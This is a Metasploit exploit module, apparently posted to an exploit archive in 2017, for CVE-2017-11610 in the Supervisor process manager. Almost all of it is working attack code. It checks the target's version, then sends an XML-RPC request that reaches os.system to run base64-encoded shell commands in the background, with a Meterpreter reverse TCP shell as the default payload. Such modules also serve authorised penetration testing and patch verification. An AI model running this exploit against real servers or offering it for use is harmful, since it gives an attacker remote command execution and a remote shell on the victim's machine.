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Supervisor XML-RPC Authenticated Remote Code Execution

Posted on 25 September 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info={})
super(update_info(info,
'Name' => "Supervisor XML-RPC Authenticated Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability in the Supervisor process control software, where an authenticated client
can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server.
The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this
may be root. This vulnerability can only be exploited by an authenticated client, or if supervisord has been
configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Calum Hutton <c.e.hutton@gmx.com>'
],
'References' =>
[
['URL', 'https://github.com/Supervisor/supervisor/issues/964'],
['URL', 'https://www.debian.org/security/2017/dsa-3942'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11610'],
['URL', 'https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610'],
['CVE', '2017-11610']
],
'Platform' => 'linux',
'Targets' =>
[
['3.0a1-3.3.2', {}]
],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'DefaultOptions' =>
{
'RPORT' => 9001,
'Payload' => 'linux/x64/meterpreter/reverse_tcp',
},
'Privileged' => false,
'DisclosureDate' => 'Jul 19 2017',
'DefaultTarget' => 0
))

register_options(
[
Opt::RPORT(9001),
OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']),
OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']),
OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']),
]
)
end

def check_version(version)
if version <= Gem::Version.new('3.3.2') and version >= Gem::Version.new('3.0a1')
return true
else
return false
end
end

def check

print_status('Extracting version from web interface..')

params = {
'method' => 'GET',
'uri' => normalize_uri('/')
}
if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
end
res = send_request_cgi(params)

if res
if res.code == 200
match = res.body.match(/<span>(d+.[dab].d+)</span>/)
if match
version = Gem::Version.new(match[1])
if check_version(version)
print_good("Vulnerable version found: #{version}")
return Exploit::CheckCode::Appears
else
print_bad("Version #{version} is not vulnerable")
return Exploit::CheckCode::Safe
end
else
print_bad('Could not extract version number from web interface')
return Exploit::CheckCode::Unknown
end
elsif res.code == 401
print_bad("Authentication failed: #{res.code} response")
return Exploit::CheckCode::Safe
else
print_bad("Unexpected HTTP code: #{res.code} response")
return Exploit::CheckCode::Unknown
end
else
print_bad('Error connecting to web interface')
return Exploit::CheckCode::Unknown
end

end

def execute_command(cmd, opts = {})

# XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server
# Credit to the following urls for the os.system() payload
# https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610
# https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
xml_payload = %{<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&1 &</string>
</param>
</params>
</methodCall>}

# Send the XML-RPC payload via POST to the specified endpoint
endpoint_path = target_uri.path
print_status("Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}")

params = {
'method' => 'POST',
'uri' => normalize_uri(endpoint_path),
'ctype' => 'text/xml',
'headers' => {'Accept' => 'text/xml'},
'data' => xml_payload,
'encode_params' => false
}
if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
end
return send_request_cgi(params, timeout=5)

end

def exploit

res = execute_cmdstager(:linemax => 800)

if res
if res.code == 401
fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response")
elsif res.code == 404
fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response")
else
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response")
end
else
print_good('Request returned without status code, usually indicates success. Passing to handler..')
handler
end

end

end

 

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